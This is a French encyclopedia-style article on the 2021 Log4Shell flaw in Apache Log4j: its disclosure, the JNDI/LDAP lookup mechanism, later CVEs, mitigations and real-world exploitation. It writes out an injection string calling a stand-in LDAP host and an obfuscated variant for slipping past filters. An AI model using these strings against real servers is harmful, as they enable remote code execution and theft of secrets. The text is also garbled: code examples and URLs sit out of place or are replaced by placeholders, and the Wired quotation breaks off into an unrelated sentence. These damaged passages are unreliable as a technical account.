Log4Shell

vulnérabilité signalée en novembre 2021 dans Log4j , un framework de journalisation Java populaire , impliquant l'exécution de code arbitraire et exploitée comme une vulnérabilité zero-day . La vulnérabilité existait sans être détectée depuis 2013 et a été divulguée de manière privée à la fondation Apache Software Foundation , dont Log4j est un projet, par Chen Zhaojun de l'équipe de sécurité d' Alibaba Cloud le 24 novembre 2021.

Avant la publication d'un identifiant CVE officiel le 10 décembre 2021, la vulnérabilité circulait sous le nom de « Log4Shell », donné par Free Wortley de l'équipe LunaSec, nom initialement utilisé pour suivre le problème en ligne. Apache a attribué à Log4Shell un score de gravité CVSS de 10, le score maximal. L'exploit était simple à exécuter et aurait potentiellement pu affecter des centaines de millions d'appareils.

Cette vulnérabilité exploite une faille de Log4j autorisant les requêtes vers des serveurs LDAP et JNDI arbitraires permettant ainsi à des attaquants d'exécuter du code Java arbitraire sur un serveur ou un autre ordinateur, ou de divulguer des informations sensibles . L' équipe de sécurité Apache a publié une liste des projets logiciels affectés . Parmi les services commerciaux touchés figurent Amazon Web Services , Cloudflare , iCloud , Minecraft : Java Edition , Steam , Tencent QQ et bien d'autres . Selon Wiz et EY , cette vulnérabilité affecte 93 % des environnements cloud d'entreprise

La divulgation de cette vulnérabilité a suscité de vives réactions de la part des experts en cybersécurité. La société de cybersécurité Tenable a déclaré que cette faille était « la vulnérabilité la plus importante et la plus critique jamais découverte » Ars Technica l'a qualifiée de « sans doute la vulnérabilité la plus grave jamais connue » , et le Washington Post a affirmé que les descriptions des professionnels de la sécurité « frisaient l'apocalypse »

L' interface JNDI (Java Naming and Directory Interface ) permet de rechercher des objets Java lors de l'exécution d'un programme, à partir du chemin d'accès à leurs données. JNDI peut utiliser plusieurs interfaces d'annuaire, chacune offrant un schéma de recherche de fichiers différent. Parmi ces interfaces figure le protocole LDAP (Lightweight Directory Access Protocol ), un protocole non spécifique à Java qui récupère les données de l'objet sous forme d'URL depuis un serveur approprié, local ou situé sur Internet.

Dans sa configuration par défaut, lors de l'enregistrement d'une chaîne de caractères, Log4j 2 effectue une substitution de chaînes sur les expressions de la forme `<URL>` ${prefix:name}. Par exemple, `<URL>` Text: ${java:version}peut être converti en ` <URL> Text: Java version 1.7.0_67`. Parmi les expressions reconnues figure ${jndi:<lookup>}`<URL>`. En spécifiant que la recherche s'effectue via LDAP, une URL arbitraire peut être interrogée et chargée comme données d'objet Java. ${jndi:ldap://example.com/file}Par exemple, `<URL>` chargera les données de cette URL si la connexion Internet est établie. En saisissant une chaîne de caractères enregistrée, un attaquant peut charger et exécuter du code malveillant hébergé sur une URL publique. Même si l'exécution des données est désactivée, un attaquant peut toujours récupérer des données, telles que des variables d'environnement secrètes , en les plaçant dans l'URL. Dans ce cas, elles seront substituées et envoyées au serveur de l'attaquant. Outre LDAP, d'autres protocoles de recherche JNDI potentiellement exploitables incluent sa variante sécurisée LDAPS, Java Remote Method Invocation (RMI), le système de noms de domaine (DNS) et le protocole Internet Inter-ORB (IIOP).

Étant donné que les requêtes HTTP sont fréquemment consignées, une méthode d'attaque courante consiste à insérer une chaîne malveillante dans l' URL de la requête HTTP ou dans un en-tête HTTP fréquemment consigné , tel que ` https://example.com/requests User-Agent/`. Les premières mesures d'atténuation consistaient à bloquer toute requête contenant un contenu potentiellement malveillant, tel que `https://example.com/`. Ces solutions de correspondance de chaînes basiques peuvent être contournées en obfusquant la requête : par exemple, `https://example.com/` sera converti en une recherche JNDI après la mise en minuscules de la lettre `a` . Même si une entrée, telle qu'un prénom, n'est pas immédiatement consignée, elle peut l'être ultérieurement lors du traitement interne et son contenu exécuté. ${jndi${${lower:j}ndij

Des correctifs pour cette vulnérabilité ont été publiés le 6 décembre 2021, trois jours avant sa publication, dans la version 2.15.0-rc1 de Log4j. Ces correctifs consistaient à restreindre les serveurs et les protocoles pouvant être utilisés pour les recherches. Les chercheurs ont découvert une faille connexe, CVE-2021-45046, permettant l'exécution de code local ou distant dans certaines configurations non standard. Cette faille a été corrigée dans la version 2.16.0, qui a désactivé toutes les fonctionnalités utilisant JNDI ainsi que la prise en charge des recherches de messages. Deux autres vulnérabilités ont été identifiées dans la bibliothèque : une attaque par déni de service (DoS), référencée CVE-2021-45105 et corrigée dans la version 2.17.0 ; et une vulnérabilité d'exécution de code à distance difficile à exploiter , référencée CVE-2021-44832 et corrigée dans la version 2.17.1. Pour les versions précédentes, la classe org.apache.logging.log4j.core.lookup.JndiLookupdoit être supprimée du classpath afin d'atténuer les deux vulnérabilités. Une première solution recommandée pour les anciennes versions consistait à définir la propriété système log4j2.formatMsgNoLookupssur true, mais cette modification n'empêche pas l'exploitation de la vulnérabilité CVE-2021-45046 et il a été constaté par la suite qu'elle ne désactivait pas les recherches de messages dans certains cas.

Les versions plus récentes de l' environnement d'exécution Java (JRE) atténuent également cette vulnérabilité en bloquant par défaut le chargement de code distant, bien que d'autres vecteurs d'attaque subsistent dans certaines applications. Plusieurs méthodes et outils ont été publiés pour faciliter la détection des versions vulnérables de Log4j utilisées dans les packages Java compilés.

Lorsque l'application de versions mises à jour s'avère impossible, en raison de diverses contraintes telles que le manque de ressources ou de solutions gérées par des tiers, le filtrage du trafic réseau sortant des déploiements vulnérables constitue le principal recours pour de nombreux acteurs. Cette approche est recommandée par le NCC Group et le National Cyber ​​Security Centre (Royaume-Uni) et représente un exemple de mesure de défense en profondeur . L'efficacité de ce filtrage est démontrée par des expériences en laboratoire menées avec des pare-feu capables d'intercepter le trafic sortant comportant plusieurs versions totalement ou partiellement vulnérables de la bibliothèque elle-même et du JRE .

Cette faille permet aux pirates de prendre le contrôle d'appareils vulnérables via Java. Certains pirates l'exploitent pour miner des cryptomonnaies , créer des botnets , envoyer du spam, installer des portes dérobées et mener d'autres activités illégales telles que des attaques par rançongiciel . Dans les jours qui ont suivi la divulgation de cette vulnérabilité, Check Point a observé des millions d'attaques lancées par des pirates, certains chercheurs ayant même constaté un taux de plus de cent attaques par minute. Au final, plus de 40 % des réseaux d'entreprises à l'échelle mondiale ont été touchés.

Selon Matthew Prince , PDG de Cloudflare , des preuves d'exploitation ou de recherche de cette vulnérabilité remontent au 1er décembre, soit neuf jours avant sa divulgation publique. [48] D'après la société de cybersécurité GreyNoise, plusieurs adresses IP analysaient pour identifier les serveurs vulnérables. Plusieurs botnets ont commencé à rechercher cette vulnérabilité, notamment le botnet Mirai et Tsunami. Le groupe de ransomware Conti a été observé exploitant cette vulnérabilité le 17 décembre.

D'après Check Point, certains groupes étatiques en Chine et en Iran ont également exploité cette faille, mais on ignore si Israël, la Russie ou les États-Unis l'avaient déjà utilisée avant sa divulgation. Check Point a indiqué que le 15 décembre 2021, des pirates informatiques soutenus par l'Iran ont tenté d'infiltrer les réseaux d'entreprises et d'institutions gouvernementales israéliennes.

Check Point Software Technologies a décrit la situation comme une « véritable cyberpandémie » et a qualifié le potentiel de dommages d'« incalculable ». Plusieurs alertes initiales ont exagéré le nombre de paquets vulnérables, entraînant des faux positifs. Notamment, le paquet « log4j-api » a été signalé comme vulnérable, alors qu'en réalité, des recherches plus approfondies ont montré que seul le paquet principal « log4j-core » l'était. Cela a été confirmé à la fois dans le fil de discussion initial et par des chercheurs en sécurité externes.

Le magazine technologique Wired a écrit que malgré le battage médiatique précédent autour de multiples vulnérabilités, « la vulnérabilité Log4j les courtiers en données vendent ensuite un accès sécurisé aux cybercriminels, qui se livrent enfin à des attaques de rançongiciels, à de l'espionnage et à la destruction de données.

Amit Yoran , PDG de Tenable et directeur fondateur de l' équipe américaine de réponse aux urgences informatiques (US-CERT ), a déclaré : « [Log4Shell] est de loin la vulnérabilité la plus importante et la plus critique jamais découverte », soulignant que des attaques sophistiquées ont commencé peu après sa découverte. Il a ajouté : « Nous constatons déjà son utilisation pour des attaques de type ransomware, ce qui, encore une fois, devrait être un signal d'alarme majeur … Nous avons également reçu des rapports faisant état d'attaquants utilisant Log4Shell pour détruire des systèmes sans même chercher à obtenir une rançon, un comportement assez inhabituel. » Sean Gallagher, chercheur principal en menaces chez Sophos , a déclaré : « Honnêtement, la plus grande menace ici est que des personnes ont déjà obtenu un accès et l'exploitent, et même si vous corrigez le problème, quelqu'un est déjà dans le réseau … Cette vulnérabilité persistera aussi longtemps qu'Internet. »

Selon un rapport de Bloomberg News , une certaine colère a été dirigée contre les développeurs d'Apache pour leur incapacité à corriger la vulnérabilité après que des avertissements concernant l'exploitation de larges catégories de logiciels, dont Log4j, aient été lancés lors d'une conférence sur la cybersécurité en 2016.